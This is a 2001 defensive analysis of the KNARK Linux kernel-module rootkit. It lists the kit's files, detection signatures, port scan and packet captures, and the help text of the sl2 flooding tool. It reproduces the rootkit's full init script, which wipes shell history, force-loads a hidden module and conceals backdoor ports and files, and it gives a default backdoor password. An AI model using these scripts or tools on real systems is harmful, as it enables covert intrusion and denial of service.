Analysis of the KNARK Rootkit
by Toby Miller
Mon Mar 12 2001
Analysis of the KNARK Rootkit 

Purpose

The purpose of this paper is to identify signatures related to the KNARK rootkit. This paper does not show how to install the rootkit nor does it make any comparisons between this rootkit and other rootkits.  This paper will attempt to educate the readers on the various signatures and problems related to this rootkit.

What is a rootkit?

A rootkit is a collection of files/programs used by attacker(s) to re-enter a network/computer without being detected.  Normally a rootkit will come with various “popular” exploits to assist the attacker in the re-entry of a system.  Recently, many of the exploits have been related with common vulnerabilities found in BIND, Linux line printer, and Washington University’s FTP program. 

In addition to the exploits, many rootkits also come with and install sniffers.  This is done because attackers want to capture passwords from users logging in over the network; a sniffer can do this and it’s quite hard to detect.  A rootkit can also change common binaries so that a busy administrator will not detect them. 

Common binaries are binaries that can be used to monitor a systems operation.  Some of the common binaries are /bin/ps, /bin/ls, /bin/netstat, /usr/bin/lsof and /usr/bin/top (this is not a complete list).  Now that we have covered rootkit basics, lets look at the rootkit in question. 
 

 

The KNARK Rootkit 

Recently there has been a lot of talk about the KNARK rootkit on the Incidents mailing list and many good references (listed at the end of the paper) are coming from the list.  I hope that this paper will provide you with some new and useful information.  The KNARK rootkit was sent by a friend (some friend huh?!) to look at and analyze.  After unzipping the file, I was presented with a bunch of files to look through and analyze.  Table 1 lists the files that come with KNARK: 


Table 1: List of files that come with KNARK
Makefile
apache.c
Apache.cgi
backup
Bj.c
caine
Clearmail 
dmesg
Dmsg
ered
Exec
fix
Fixtext
ftpt
Gib
gib.c
Hds0
hidef
Inc.h
init
Lesa
login
Lpdx
lpdx.c
Make-ssh-host-key
make-ssh-known-hosts
Module
nethide
Pgr
removeme
Rexec
rkhelp
Rootme 
sl2
Sl2.c
snap
Ssh_config
sshd_config
Ssht
statdx2
Sysmod.o
sz
T666
unhidef
Wugod
zap

After looking through some of the files, I decided to install the rootkit. Knark comes with a file named exec (see Table 1) when this file is executed a couple of things take place:
 

 

1)     Creates the directories: /dev/.pizda and /dev/.pula (will not be able to see using ls. Use cd /dev/.pizda).

2)     Inserts sysmod.o. This is the module that allows the rootkit too stay hidden.

3)     KNARK also makes changes to the rcx.d S99local file. This causes the machine to fail at boot up. 
 

 

The first thing I did after installation is pull out NMAP and run nmap –sS –p 1-65535 192.168.0.20 and waited to see what NMAP had too say.  

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on sec-linux.lab.sec (192.168.0.20):

(The 65523 ports scanned but not shown below are in state: closed)

Port       State       Service

21/tcp     open        ftp 

79/tcp     open        finger 

111/tcp    open        sunrpc 

113/tcp    open        auth 

512/tcp    open        exec 

513/tcp    open        login 

514/tcp    open        shell 

515/tcp    open        printer 

3001/tcp   open        nessusd 

18667/tcp  open        unknown 

31221/tcp  open        unknown 
 

 

Nmap run completed -- 1 IP address (1 host up) scanned in 33 seconds

Figure 1. NMAP results

Figure 1 tells us a lot (good thing this box is in a lab and not in the wild : ). First, we see that there are two (2) ports that are unknown (18667 and 31221).  Second, we see that this box is lucky it hasn’t been rooted at least a dozen times. 

     The next step was to run netstat.  Why?  Well, we want to see if netstat will call out the same ports as NMAP.  If netstat does not call out the same ports then we check the binary for netstat.  

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State 

tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:515             0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN 

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN 

udp        0      0 0.0.0.0:518             0.0.0.0:* 

udp        0      0 0.0.0.0:517             0.0.0.0:* 

udp        0      0 0.0.0.0:512             0.0.0.0:* 

udp        0      0 0.0.0.0:111             0.0.0.0:* 

raw        0      0 0.0.0.0:1               0.0.0.0:* 

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags       Type       State         I-Node Path

unix  0      [ ACC ]     STREAM     LISTENING     468    /dev/printer

unix  6      [ ]         DGRAM                    371    /dev/log

unix  0      [ ACC ]     STREAM     LISTENING     503    /dev/gpmctl

unix  0      [ ACC ]     STREAM     LISTENING     2126   /tmp/.font-unix/fs-1

unix  0      [ ]         STREAM     CONNECTED     173    @00000015

unix  0      [ ]         DGRAM                    2711 

unix  0      [ ]         DGRAM                    2161 

unix  0      [ ]         DGRAM                    2130 

unix  0      [ ]         DGRAM                    462 

unix  0      [ ]         DGRAM                    394 

unix  0      [ ]         DGRAM                    383 

Figure 2: Netstat results

Figure 2 is the results of a netstat –a –n. The output of netstat tells us that the two ports were not identified, so off we go to check the netstat binary. Checking netstat binary required three steps:
 

 

1)     Run strings. This allows us to see if there is a hidden directory stored in the binary.  Checked it and there was no hidden directories.

2)     Md5sum. This step is common sense. Compared the computers netstat md5sum to a CD's md5sum and no luck!! Both were the same.

3)     Run diff. Yes. . . this is redundant but we have nothing to lose and everything to gain. Unfortunately, the result is the same. Everything checks out OK.

4)     In the past if a box had a rootkit installed, an administrator could comb through the binaries and find traces of the rootkit. Not so in this case. The KNARK rootkit actually hides within the kernel making this rootkit almost impossible to find and analyze. How is this being done? Well, attackers are able to do this by using Loadable Kernel Modules (LKM). For anybody who has been in the Linux world you know that LKM’s are pieces of code that can be loaded into the operating system on demand. As a matter of fact it is encouraged that you use LKM’s in order to update your hardware for your OS. BTW, inserting modules into Linux is not that difficult, in fact insmod –f will do the job. 
 

 

KNARK comes with some a few good exploits as well. 

1)     Lpdx – This is used to exploit the LPR service of Red Hat boxes. Here is what a IDS might see: 

 

09:06:19.991789 > 192.168.1.13.2894 > 192.168.0.40.printer: S 4221747912:4221747912(0) win 32120 <mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> (DF) (ttl 64, id 11263)
 

 

09:06:19.993434 < 192.168.1.13.printer > 192.168.0.40.2894: S 397480959:397480959(0) ack 4221747913 win 32120 <mss 1460,sackOK,timestamp 393475 4058996,nop,wscale 0> (DF) (ttl 64, id 3278)
 

 

09:06:19.993514 > 192.168.1.13.2894 > 192.168.0.40.printer: . 1:1(0) ack 1 win 32120 <nop,nop,timestamp 4058996 393475> (DF) (ttl 64, id 11264)

 

Figure 3: Lpr Signature

2)     T666 – Used to exploit BIND 8.2.1.  This exploit is used against Linux and FreeBSD.  A common signature of this tool is there is usually a directory called /var/named/ADMROCKS. 

3)     Wugod – This is an exploit for Washington University’s ftpd 2.6.0(1) for FREEBSD, Linux (RH 6.2 and SuSe 6.3&6.4). 

Slice v2.1+, credits: sinkhole, sacred. Rewritten and 1+ by some lamerz :P

### linux version
 

 

Usage: ./sl2 <target> <clones> [-f] [-c] [-d seconds] [-p packets] [-s packetsize] [-maxs packetsize] [-a srcaddr] [-l lowport] [-h highport] [-incports] [-sleep ms] [-syn[ack]]

    Target      - the target we are trying to attack.

    Clones      - number of packets to send at once (use -f for more than 6).

    -f          - force usage of more than 6 clones.

    -c          - class C flooding.

    -d seconds  - time to flood in seconds (default 600, use 0 for no timeout).

    -p packets  - packets to send for each clone (if used with -d is ignored). 

-s size     - packet size (default 40, use 0 for random packets).

    -maxs size  - maximum size for random packets.

    -a srcaddr  - the spoofed source address (random if not specified).

    -l lowport  - start port (1024 if not specified).

    -h highport - end port (65535 if not specified).

    -incports   - choose ports incremental (random if not specified).

    -sleep ms   - delay between packets in miliseconds (0=no delay by default).

    -syn        - use SYN instead ACK.

    -synack     - use SYN|ACK.

Figure 4: Slice (sl2) help output

As we can see this tool does allow an attacker the chance to randomize his | her packet(s).  This will make detecting a little harder.  

 

09:05:26.655215 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)

09:05:26.655701 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)

09:05:26.656186 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)

09:05:26.656671 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)

09:05:26.657156 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)

09:05:26.657642 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)

 

Figure 5: Results of Slice

Looking at the help command will not assist us in detecting this program, so I decided to run the DOS.  Figure 5 shows us what slice looks like when it is ran.  Keep in mind that these signatures can change (this depends on the attacker and how the rootkit is installed).

     KNARK comes with many other tools that we have not discussed yet.  The first tool we will cover is gib.c.  This tool listens on port 18667 (takes care of one of the two ports we discovered using NMAP) and comes with a by default it has a password of Error and a ps of updated.  This program is just your typical “backdoor” program.  Next, we have a file called init.  This is a shell script BUT, it explains why this root kit is hard to detect.  

 

#!/bin/sh

unset HISTFILE

export HISTFILE=/dev/null

unset _

/sbin/insmod -f /lib/modules/sysmod.o 1>/dev/null 2>/dev/null

if [ -a /usr/bin/gib ]

then

/usr/bin/gib & 1>/dev/null 2>/dev/null

else

echo "aaa" >>/dev/null

fi

/dev/.pizda/jesuscd -f /dev/.pizda/sshd_config -h /dev/.pizda/ssh_host_key -q 1>/dev/null 2>/dev/null

cd "/dev/.pula" 1>/dev/null 2>/dev/null

./caine >> bashina & 1>/dev/null 2>/dev/null

cd /root

killall -31 gib 1>/dev/null 2>/dev/null

killall -31 jesuscd 1>/dev/null 2>/dev/null

killall -31 caine 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /dev/.pizda 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /dev/.pula 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":79F5" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":48EB" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":2FB5" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A01" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A02" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A03" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A04" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A05" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A06" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A07" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A08" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A09" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A0A" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A0B" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A0C" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A0D" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A0E" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":1A0F" 1>/dev/null 2>/dev/null

/dev/.pizda/nethide ":029A" 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /usr/bin/gib 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /bin/rtty 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /tmp/pgr 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /var/lock/pgr 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /usr/man/man3/pgr 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /lib/modules/sysmod.o 1>/dev/null 2>/dev/null

/dev/.pizda/hidef /sbin/rootme 1>/dev/null 2>/dev/null

if [ -a /var/spool/uucp/zdn ]

then

/dev/.pizda/hidef /var/spool/uucp/zdn 1>/dev/null 2>/dev/null

 

Figure 6: init file

Figure 6 explains everything.  I would like to point out a few important lines in this script.

1)     You can see where the attacker uses insmod –f to install sysmod.o.  Again, this allows the attacker to remain hidden.

2)     He uses killall –31 to hide gib, jessuscd and caine. In order to make them viewable you would have to enter killall –32(There is a link at the bottom of this paper that explains this concept in much more detail.). 

3)     You see many references to /dev/.pizda/nethide. An example is:

/dev/.pizda/nethide ":79F5" 1>/dev/null 2>/dev/null.
 
 

Well, for all who don’t have enough time to do hex conversions here are the hex to decimel conversions:

48EB = 18667                         1A05 = 6661

79F5 = 31221                         1A06 = 6662

029A = 12213                         1A07 = 6663

1A01 = 6657                     1A08 = 6664

1A02 = 6658                     1A09 = 6665

1A03 = 6659                     1A0A = 6666

1A04 = 6660                     1A0B = 6667

1A0C = 6668                     1A0D = 6669

1A0E = 6670                     1A0F = 6671

Recommendations

To be honest, I have not had enough time to come up with solid solutions related to LKM rootkits.  I did come up with a few that might help.  The first is to run LIDS.  I have not tested LIDS, but I plan to test in the near future.  Second, if you come across a LKM rootkit and you cannot find anything (changed binaries etc..) try upgrading your version(providing your not worried about evidence).  Upgrading won’t remove the rootkit but it should allow you to see what exactly was going on. 

Conclusion

This type of rootkit goes against everything Security Administrators were ever taught.  In the past, rootkits  would hide their tracks by replacing binaries.  Administrators would use known good binaries to find the kits and that was that. With this beast it’s not that simple and neither is the solution. 

Recommended Reading 

There are a few links that are required reading:

This link gives you a play by play analysis on the concepts of developing a rootkit such as KNARK.

http://packetstorm.securify.com/groups/thc/LKM_HACKING.html

If you want to learn more about LKM programming this is the link for you.

http://howto.tucows.com/LDP/LDP/lkmpg

Phrack has some great information on exploiting the Linux Kernel as well as hardening the Linux Kernel.

http://www.2600.com/phrack/p52-06.html

             and

http://www.2600.com/phrack/p52-18.html